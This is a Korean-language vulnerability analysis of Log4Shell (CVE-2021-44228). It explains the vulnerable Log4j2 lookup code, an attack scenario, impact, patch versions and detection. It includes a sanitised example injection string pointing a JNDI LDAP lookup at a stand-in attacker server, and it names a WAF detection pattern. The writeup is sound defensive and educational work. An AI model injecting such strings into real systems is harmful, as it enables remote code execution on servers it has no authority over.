CVE-2021-44228 (Log4Shell 원격코드실행) 분석

기록하려던 문자열 하나가 통째로 실행 명령이 됐다

CVE · 웹·서버 · RCE(원격 코드 실행) · CVE-2021-44228

로그(log)는 “무슨 일이 있었는지 나중에 확인하려고 남기는 기록”입니다. 그런데 Apache Log4j2(자바 로깅 라이브러리)의 특정 버전대는, 그 기록 안에 특정 문자열을 심기만 하면 기록되는 순간 원격 서버로 접속해 코드를 실행해 버렸습니다. 로그인 실패 메시지 한 줄, User-Agent 헤더 한 줄이면 충분했습니다. 2021년 12월 공개된 이 취약점(Log4Shell)은 인터넷에서 손꼽히는 파급력을 남긴 사례로 남았습니다.

개요

Log4j2는 자바 애플리케이션 대다수가 의존성 체인 어딘가에서 쓰는 로깅 라이브러리입니다. 취약한 버전에서는 애플리케이션이 사용자가 통제 가능한 문자열을 로그로 남기기만 해도, 그 문자열 안의 특정 패턴이 원격 LDAP/RMI 서버를 조회하고 그 응답으로 원격 코드를 실행할 수 있었습니다. 인증도, 사용자 상호작용도 필요 없는 무인증 원격 코드 실행이라, NVD는 CVSS v3.1 기준 10.0(CRITICAL)을 매겼습니다. 영향 범위는 Log4j2 2.0-beta9부터 2.14.1까지이며, 특정 로그 형식(log4j-core 의존)을 쓰는 사실상 모든 자바 서버·애플리케이션이 잠재 대상이었습니다.

기술 배경 — 로그 메시지 안에서 “조회식”이 실행되는 구조

Log4j2는 로그 형식 문자열 안에 ${...} 형태의 조회식(lookup)을 쓸 수 있게 설계돼 있습니다. 예를 들어 ${date:yyyy-MM-dd}는 현재 날짜로, ${env:PATH}는 환경변수 값으로 치환됩니다. 이 치환 기능은 StrSubstitutorInterpolator라는 내부 컴포넌트가 처리하고, 조회 종류(prefix)마다 별도의 “룩업(Lookup)” 클래스가 매핑돼 있습니다.

문제는 이 조회식 중 하나가 jndi였다는 점입니다. JNDI(Java Naming and Directory Interface)는 자바 애플리케이션이 이름으로 원격 리소스(디렉터리 서버·데이터베이스 등)를 찾아오는 표준 API입니다. ${jndi:ldap://공격자서버/이름} 형태의 조회식이 해석되면, Log4j2는 실제로 그 LDAP 서버에 네트워크 접속해 응답을 받아옵니다. 문제는 여기서 그치지 않습니다 — LDAP 응답이 자바 객체를 원격에서 로드하도록 가리키면, JVM(자바 가상 머신)의 클래스 로딩·역직렬화 경로를 통해 그 원격 객체의 코드가 실행될 수 있습니다. 더 심각한 건, 개발자가 명시적으로 조회식 기능을 쓴 적이 없어도 — 그냥 logger.error("로그인 실패: {}", 사용자입력)처럼 평범하게 로그를 남기기만 해도 — 로그 메시지 본문이 기본값으로 조회식 해석 대상이었다는 점입니다.

CVE 분석 요약 — 어느 코드가 원인인가

공개된 Apache logging-log4j2 GitHub 저장소의 실제 소스를 대조한 결과, 원인은 두 층으로 나뉩니다.

① 기본 동작이 “로그 메시지도 조회식을 해석한다”였다. 취약한 버전(2.14.1 이하)의 log4j-core/src/main/java/org/apache/logging/log4j/core/pattern/MessagePatternConverter.java(newInstance 메서드)는, 별도로 nolookups 옵션을 주거나 시스템 프로퍼티 log4j2.formatMsgNoLookups를 켜지 않는 한 결과를 LookupMessagePatternConverter로 감쌌습니다 — 즉 로그 메시지 본문에서 조회식이 기본으로 해석됐습니다. 이 시스템 프로퍼티의 기본값이 false였다는 점(같은 파일이 참조하는 Constants.java)이 “기본으로 열려 있던” 근본 원인입니다.

jndi 조회식이 스킴·호스트 검증 없이 원격 조회를 수행했다. 실제 조회를 수행하는 log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/JndiLookup.javalookup() 메서드는 전달받은 이름을 그대로 JndiManager.getDefaultManager().lookup(jndiName)에 넘깁니다. 이 JndiManager(log4j-core/src/main/java/org/apache/logging/log4j/core/net/JndiManager.java)의 lookup()은 내부적으로 javax.naming.InitialContext#lookup(name)을 그대로 호출합니다 — 어떤 프로토콜(ldap·rmi·dns 등)이든, 어떤 호스트든 제한이 없었습니다.

아래는 이 인과를 보여주는 무해한 개념 예시입니다. 실제 공격에 쓰이는 완성형 페이로드가 아닙니다.

# 개념용 단순화, 실제 페이로드/원본 코드 아님 (무해화)
애플리케이션 코드:  logger.error("로그인 실패: {}", 사용자입력값)
사용자입력값:       "${jndi:ldap://공격자서버:포트/무해화}"
Log4j2 내부 처리:   메시지를 그대로 기록하기 전에 ${...} 패턴을 조회식으로 해석
                   → jndi 룩업 실행 → 원격 서버로 네트워크 조회
                   → 응답이 가리키는 원격 객체 로드 시도
결과:              "기록"이 목적이던 호출 한 줄이 원격 코드 실행 경로가 됨

즉 근본 원인은 “JNDI 자체가 위험해서”가 아니라, ①신뢰할 수 없는 입력(로그 메시지)이 기본으로 조회식 해석기를 거쳤고, ②그 해석기 중 하나(jndi)가 대상 프로토콜·호스트를 검증하지 않고 원격 조회를 수행했다는 두 판단이 겹친 자리입니다.

공격 시나리오 · 영향도 + 대응방안

공격 시나리오 (단계 압축, 완성형 페이로드 없음):

  1. 공격자가 애플리케이션이 로그로 남길 가능성이 있는 입력 지점(로그인 폼, User-Agent, 커스텀 HTTP 헤더, 검색어 등)에 ${jndi:...} 형태 문자열을 심어 전송합니다.
  2. 애플리케이션이 이 값을 Log4j2로 로그에 기록하면, 취약한 버전은 메시지 본문의 조회식을 해석해 공격자가 지정한 원격 서버로 LDAP/RMI 조회를 수행합니다.
  3. 원격 서버 응답이 가리키는 자바 객체가 JVM에 로드·실행되며, 그 서버 프로세스 권한으로 임의 코드가 실행됩니다.

영향도: 무인증·원격·저복잡도로 서버 프로세스 권한의 임의 코드 실행이 가능해, 데이터 유출·랜섬웨어·내부망 피벗의 발판이 됩니다. NVD는 이 세 가지 영향(기밀성·무결성·가용성)을 모두 HIGH로, 범위(Scope)는 CHANGED(취약한 컴포넌트를 넘어 다른 리소스에 영향)로 판정했습니다.

대응방안:

  1. 근본 — 안전 버전으로 업데이트. 이 CVE(CVE-2021-44228) 자체는 Log4j2 2.16.0 이상(및 백포트 2.12.2 / 2.12.3 / 2.3.1)에서 JNDI 조회가 기본 비활성화되고 메시지 룩업 기능 자체가 제거되며 닫혔습니다. 주의: 최초 수정이던 2.15.0은 GitHub Security Advisory(GHSA-jfh8-c2jp-5v3q)가 명시하듯 모든 상황에서 JNDI 조회를 막지 못한 불완전한 패치였고, 이 잔여 문제는 별도 CVE-2021-45046으로 추적됐습니다. 즉 “2.15.0으로 올렸으니 안전하다”는 잘못된 결론입니다 — 최소 2.16.0 이상이어야 합니다. (이후 서비스 거부(DoS) 결함이 2.17.0에서, JDBC Appender 관련 원격 코드 실행 결함이 2.17.1에서 추가로 수정됐으므로, 실무에서는 해당 시점의 최신 2.x 패치판을 쓰는 것이 안전합니다.)
  2. 차선(즉시 업데이트 불가 시): 클래스패스에서 JndiLookup 클래스를 제거하거나(zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class), 시스템 프로퍼티 log4j2.formatMsgNoLookups=true 또는 환경변수로 메시지 조회식 해석을 강제로 끕니다. WAF(웹 방화벽)에서 ${jndi: 패턴을 차단하는 것은 인코딩 변형이 많아 보조 수단일 뿐 단독 대응책이 아닙니다.
  3. 탐지 관점: 아웃바운드 LDAP/RMI 연결 로그, HTTP 헤더·요청 파라미터에 ${로 시작하는 조회식 패턴, 그리고 애플리케이션 서버가 평소 접속하지 않던 외부 호스트로의 신규 아웃바운드 연결을 모니터링합니다.

결론

“기록”이 목적이던 로그 한 줄이 실행 경로가 될 수 있었던 이유는 단 하나입니다 — 신뢰할 수 없는 입력이 기본으로 조회식(표현식) 해석기를 거쳤기 때문입니다.

이 부류의 버그가 반복되는 이유는 명확합니다. 서식·템플릿을 처리하는 계층이 입력을 “출력할 문자열”이 아니라 “해석할 표현식”으로 다루는 순간, 그 계층에 도달하는 모든 사용자 입력이 잠재적 실행 경로가 됩니다. 서버 사이드 템플릿 인젝션(SSTI)이나 EL(Expression Language) 인젝션도 같은 뿌리에서 나옵니다 — 렌더링·로깅·템플릿 엔진처럼 “값을 문자열로만 다룰 것 같은” 계층이 실은 표현식을 해석하고 있다면, 그 경계를 다시 확인해야 합니다. 이 한 틈은 패치로 닫혔지만, 이 사고방식은 다른 자리에서 또 나옵니다 — 그래서 우리는 도구가 아니라 방법을 남깁니다.

References / 참고자료

  1. NVD — CVE-2021-44228 Detail. 공식 CVSS(v3.1 10.0 CRITICAL)·CWE·영향 버전 범위 근거. 이 글이 재구성한 원 분석. https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  2. GitHub Security Advisory GHSA-jfh8-c2jp-5v3q — Remote code injection in Log4j. 2.15.0 불완전 패치·후속 CVE-2021-45046·백포트 버전(2.12.2/2.12.3/2.3.1) 확정 근거. https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
  3. Apache logging-log4j2 저장소 — 실제 패치 커밋(LOG4J2-3198: Log4j2 no longer formats lookups in messages by default, 2.15.0에 반영). MessagePatternConverter.java·Constants.java diff 근거. https://github.com/apache/logging-log4j2/commit/001aaada7dab82c3c09cde5f8e14245dc9d8b454
  4. Apache Software Foundation — Apache Log4j Security Vulnerabilities 공식 보안 페이지. 벤더 원문 권고·버전별 수정 이력. https://logging.apache.org/log4j/2.x/security.html
  5. Apache JIRA LOG4J2-3198 — 패치 배경이 된 이슈 트래커 원 논의. https://issues.apache.org/jira/browse/LOG4J2-3198

이 글은 위 1차출처(NVD·GitHub Security Advisory·Apache logging-log4j2 실제 패치 커밋·Apache 공식 보안 페이지)를 우리 관점에서 다시 쓰고 논평을 더한 것입니다. 특정 문장·코드를 그대로 옮기지 않았으며, 자세한 재현 절차는 원문을 참고하세요. 이 초안은 RN-11 독립 팩트체크(2026-08-31)를 통과했습니다.